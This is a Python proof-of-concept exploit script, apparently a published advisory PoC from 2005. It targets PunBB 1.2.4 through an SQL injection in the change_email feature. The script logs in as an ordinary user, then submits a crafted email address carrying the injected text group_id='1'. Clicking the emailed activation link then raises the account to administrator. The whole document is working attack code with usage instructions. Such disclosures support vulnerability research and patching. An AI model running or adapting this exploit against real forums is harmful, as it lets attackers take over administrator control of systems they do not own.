punbb_email_sql_injection.txt

`#!/usr/bin/python  
#######################################################################  
# _ _ _ _ ___ _ _ ___   
# | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \  
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/  
# |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_|   
#   
#######################################################################  
# Proof of concept code from the Hardened-PHP Project   
#######################################################################  
#  
# -= PunBB 1.2.4 =-  
# change_email SQL injection exploit  
#  
# user-supplied data within the database is still user-supplied data  
#  
#######################################################################  
  
import urllib  
import getopt  
import sys  
import string  
  
__argv__ = sys.argv  
  
def banner():  
print "PunBB 1.2.4 - change_email SQL injection exploit"  
print "Copyright (C) 2005 Hardened-PHP Project\n"  
  
def usage():  
banner()  
print "Usage:\n"  
print " $ ./punbb_change_email.py [options]\n"  
print " -h http_url url of the punBB forum to exploit"  
print " f.e. http://www.forum.net/punBB/"  
print " -u username punBB forum useraccount"  
print " -p password punBB forum userpassword"  
print " -e email email address where the admin leve activation email is sent"  
print " -d domain catch all domain to catch \"some-SQL-Query\"@domain emails"  
print ""  
sys.exit(-1)  
  
def main():  
try:  
opts, args = getopt.getopt(sys.argv[1:], "h:u:p:e:d:")  
except getopt.GetoptError:  
usage()  
  
if len(__argv__) < 10:  
usage()  
  
username = None  
password = None  
email = None  
domain = None  
host = None  
for o, arg in opts:  
if o == "-h":  
host = arg  
if o == "-u":  
username = arg  
if o == "-p":  
password = arg  
if o == "-e":  
email = arg  
if o == "-d":  
domain = arg  
  
# Printout banner  
banner()  
  
# Check if everything we need is there  
if host == None:  
print "[-] need a host to connect to"  
sys.exit(-1)  
if username == None:  
print "[-] username needed to continue"  
sys.exit(-1)  
if password == None:  
print "[-] password needed to continue"  
sys.exit(-1)  
if email == None:  
print "[-] email address needed to continue"  
sys.exit(-1)  
if domain == None:  
print "[-] catch all domain needed to continue"  
sys.exit(-1)  
  
# Retrive cookie  
params = {  
'req_username' : username,  
'req_password' : password,  
'form_sent' : 1  
}  
  
wclient = urllib.URLopener()  
  
print "[+] Connecting to retrieve cookie"  
  
req = wclient.open(host + "/login.php?action=in", urllib.urlencode(params))  
info = req.info()  
if 'set-cookie' not in info:  
print "[-] Unable to retrieve cookie... something is wrong"  
sys.exit(-3)  
cookie = info['set-cookie']  
cookie = cookie[:string.find(cookie, ';')]  
print "[+] Cookie found - extracting user_id"  
user_id = cookie[string.find(cookie, "%3A%22")+6:string.find(cookie, "%22%3B")]  
print "[+] User-ID: %d" % (int(user_id))  
wclient.addheader('Cookie', cookie);  
  
email = '"' + email[:string.find(email, '@')] + '"@' + email[string.find(email, '@')+1:] + ',"\','  
append = 'group_id=\'1'  
email = email + ( ((50-len(append))-len(email)) * ' ' ) + append + '"@' + domain  
  
params = {  
'req_new_email' : email,  
'form_sent' : 1  
}  
  
print "[+] Connecting to request change email"   
req = wclient.open(host + "profile.php?action=change_email&id=" + user_id, urllib.urlencode(params))   
  
print "[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin"  
  
if __name__ == "__main__":  
main()  
  
  
  
  
`